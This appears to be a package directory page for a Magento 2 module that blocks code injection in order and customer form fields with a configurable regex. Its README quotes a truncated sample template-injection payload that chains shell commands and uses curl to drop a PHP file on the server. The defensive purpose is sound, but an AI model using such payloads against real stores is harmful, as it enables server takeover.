PHPackages                             wapone/module-input-fields-validator - PHPackages - PHPackages  [Skip to content](#main-content)[PHPackages](/)[Directory](/)[Categories](/categories)[Trending](/trending)[Leaderboard](/leaderboard)[Changelog](/changelog)[Analyze](/analyze)[Collections](/collections)[Log in](/login)[Sign up](/register)

1. [Directory](/)
2. /
3. [Validation &amp; Sanitization](/categories/validation)
4. /
5. wapone/module-input-fields-validator

ActiveMagento2-module[Validation &amp; Sanitization](/categories/validation)

wapone/module-input-fields-validator
====================================

Custom Magento 2 module for input fields validation.

1.2.0(1y ago)25413[1 issues](https://github.com/WaPoNe/module-input-fields-validator/issues)OSL-3.0PHPPHP ^7||^8

Since Aug 21Pushed 1y ago4 watchersCompare

[ Source](https://github.com/WaPoNe/module-input-fields-validator)[ Packagist](https://packagist.org/packages/wapone/module-input-fields-validator)[ RSS](/packages/wapone-module-input-fields-validator/feed)WikiDiscussions main Synced 1mo ago

READMEChangelogDependencies (1)Versions (7)Used By (0)

WaPoNe Input Fields Validator
=============================

[](#wapone-input-fields-validator)

Extension description
---------------------

[](#extension-description)

Disallow random code injection in Magento 2 forms trough API or WEB requests for: **Order Creation, Customer Creation, Customer Name Update, Customer Address Update**

Random code like:

```
  {{var this.getTemp lateFil ter().filt er(order)}} {{var this.getTemp lateFil ter().add AfterFil terCallb ack(system).Fil ter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}cache.php${IFS....

```

The rejection mechanism is based on a **configurable** regular expression.

The default regular expression is **'/\[{}&lt;&gt;%\]/'** to reject characters like: { } &lt; &gt; %

It is also possible to configure a limit of characters to use only for the firstname and lastname fields validation.

Configurations
--------------

[](#configurations)

### Configuration Section

[](#configuration-section)

- Enable: enable/disable module;
- Regular Expression: the regular expression to reject input values;
- Characters Limit: the limit of characters to use only for the firstname and lastname fields validation;
- Region Fields Validation: enable/disable the validation of region fields.

### Notifications Section

[](#notifications-section)

- Enable invalidation fields results notification: enable/disable invalidation fields results notification;
- Email addresses for invalidation fields results notification: Email addresses to receive invalidation fields results.

Notification
------------

[](#notification)

The extension provides the possibility to email to configurable addresses at the end of process to notify the invalidation fields results.

Logs
----

[](#logs)

The log file is in the path: */var/log/wapone\_input\_fields\_validator.log*

Installation Using Composer (recommended)
-----------------------------------------

[](#installation-using-composer-recommended)

```
composer require wapone/module-input-fields-validator

```

Contribution
------------

[](#contribution)

Forked from [bafmaamy/Magento-FieldValidator](https://github.com/bafmaamy/Magento-FieldValidator).

###  Health Score

27

—

LowBetter than 49% of packages

Maintenance24

Infrequent updates — may be unmaintained

Popularity19

Limited adoption so far

Community13

Small or concentrated contributor base

Maturity44

Maturing project, gaining track record

 Bus Factor1

Top contributor holds 88.9% of commits — single point of failure

How is this calculated?**Maintenance (25%)** — Last commit recency, latest release date, and issue-to-star ratio. Uses a 2-year decay window.

**Popularity (30%)** — Total and monthly downloads, GitHub stars, and forks. Logarithmic scaling prevents top-heavy scores.

**Community (15%)** — Contributors, dependents, forks, watchers, and maintainers. Measures real ecosystem engagement.

**Maturity (30%)** — Project age, version count, PHP version support, and release stability.

###  Release Activity

Cadence

Every ~0 days

Total

6

Last Release

633d ago

### Community

Maintainers

![](https://www.gravatar.com/avatar/5248e101b124c4420c7333360f9d287a8a63c5f5833bd84b38414fbfa57cb60a?d=identicon)[WaPoNe](/maintainers/WaPoNe)

---

Top Contributors

[![WaPoNe](https://avatars.githubusercontent.com/u/11091926?v=4)](https://github.com/WaPoNe "WaPoNe (8 commits)")[![g48r137](https://avatars.githubusercontent.com/u/15358066?v=4)](https://github.com/g48r137 "g48r137 (1 commits)")

### Embed Badge

![Health badge](/badges/wapone-module-input-fields-validator/health.svg)

```
[![Health](https://phpackages.com/badges/wapone-module-input-fields-validator/health.svg)](https://phpackages.com/packages/wapone-module-input-fields-validator)
```

###  Alternatives

[elgentos/magento2-improved-customer-address-validation

Magento 2 module to disable or adjust customer address field validation such as street, city and telephone

1512.5k](/packages/elgentos-magento2-improved-customer-address-validation)

PHPackages © 2026

[Directory](/)[Categories](/categories)[Trending](/trending)[Changelog](/changelog)[Analyze](/analyze)
